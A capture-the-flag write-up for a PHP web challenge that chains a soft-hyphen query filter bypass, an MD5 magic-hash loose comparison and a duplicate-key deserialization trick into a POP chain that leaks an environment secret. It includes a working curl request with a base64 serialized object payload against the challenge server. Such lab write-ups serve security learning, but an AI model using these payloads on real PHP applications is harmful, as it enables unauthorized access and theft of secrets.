PHP 2003
PHP 2003
Platform: Brunnerne CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux (PHP 8.3) | Author: HLVM | Date: 2026-08-22 | Status: Solved Techniques: soft-hyphen filter bypass, MD5 magic-hash loose comparison, duplicate-key deserialization, POP chain via
__destruct/__toString
Summary
Legacy "reservation import" portal (PHP 8.3, Apache). Source disclosed at /index.phps. Three chained gates: a query-string check that can be bypassed with U+00AD soft hyphens, an md5 magic-hash comparison, and a regex-vs-unserialize desync on duplicate object properties. Final payload unserializes a Booking with role=admin and a Receipt{voucher: Voucher} whose destructor prints the flag.
Recon
curl -s https://php-2003-<hash>-global.challs.brunnerne.xyz/
- Form POSTs
staff_pin+reservation_export(base64). - Error: "The reservation service is unavailable." until the legacy gate passes.
- Source disclosure:
/index.phpsreturns full highlighted source (200).
Key source findings
legacy_cgi_request():urldecode(QUERY_STRING)must contain no literal-; then soft hyphens (\u{00AD}, UTF-8C2 AD) are replaced with-and the result must equal-d webhotel.legacy=1.md5($staffPin) != '0e769468064680399918991535722650'— loose compare against a0e\d+string.first_serialized_string($reservation,'role')must return'guest': regex/s:4:"role";s:(\d+):"(.*?)";/sgrabs only the first match and validates its length.unserialize($reservation, ['allowed_classes' => [Booking, Receipt, Voucher]]), then requires$booking->role === 'admin'and$booking->receipt instanceof Receipt.- POP chain:
Receipt::__destructechoes(string)$voucherwhenflushOnShutdown;Voucher::__toStringreturnsgetenv('WEBHOTEL_LICENSE_KEY').
Exploitation
Gate 1 — soft-hyphen CGI check
Only one hyphen exists in -d webhotel.legacy=1. Replace it with %C2%AD (survives urldecode without producing a raw -, then becomes - in str_replace):
GET /?%C2%ADd%20webhotel.legacy%3D1
Gate 2 — MD5 magic hash
240610708 → md5 = 0e462097431906509019562988736854. Both operands are numeric strings, so PHP 8 compares them numerically (0 == 0) despite different digits.
Gate 3 — duplicate-key desync
unserialize overwrites repeated properties keeping the last value; the validation regex only inspects the first. Declare role="guest" first, role="admin" second:
O:7:"Booking":4:{s:4:"user";s:5:"admin";s:4:"role";s:5:"guest";s:4:"role";s:5:"admin";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:1;s:7:"voucher";O:7:"Voucher":0:{}}}
Base64-encode (strict decode is used) and POST:
curl -s "https://php-2003-<hash>-global.challs.brunnerne.xyz/?%C2%ADd%20webhotel.legacy%3D1" \ --data-urlencode "staff_pin=240610708" \ --data-urlencode "reservation_export=Tzo3OiJCb29raW5nIjo0OntzOjQ6InVzZXIiO3M6NToiYWRtaW4iO3M6NDoicm9sZSI7czo1OiJndWVzdCI7czo0OiJyb2xlIjtzOjU6ImFkbWluIjtzOjc6InJlY2VpcHQiO086NzoiUmVjZWlwdCI6Mjp7czoxNToiZmx1c2hPblNodXRkb3duIjtiOjE7czo3OiJ2b3VjaGVyIjtPOjc6IlZvdWNoZXIiOjA6e319fQ=="
unset($destroyBooking) fires Receipt::__destruct → Voucher::__toString → flag echoed inside <div class="result flag">.
Flags
| Flag | Value |
|---|---|
| customer-area | brunner{php_was_a_web_framework_and_a_fever_dream} |
Key Takeaways / Lessons
.phpssource disclosure is still a thing on Apache misconfigs — always probe for it.- Any "must not contain X" filter that performs a secondary normalization pass (unicode fold, replace) is bypassable by encoding the forbidden char as a lookalike (U+00AD soft hyphen for
-). - Loose comparisons against
0e\d+md5 strings = classic magic hash; keep a list of collision ints (240610708,QNKCDZO, ...). - When input is validated by regex but consumed by
unserialize/parsers, exploit first vs last desync: duplicate keys pass the check while the parser keeps the final one. - Destructor-based flag echo needs the whole chain:
instanceofchecks mean every object in the payload must be inallowed_classes.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.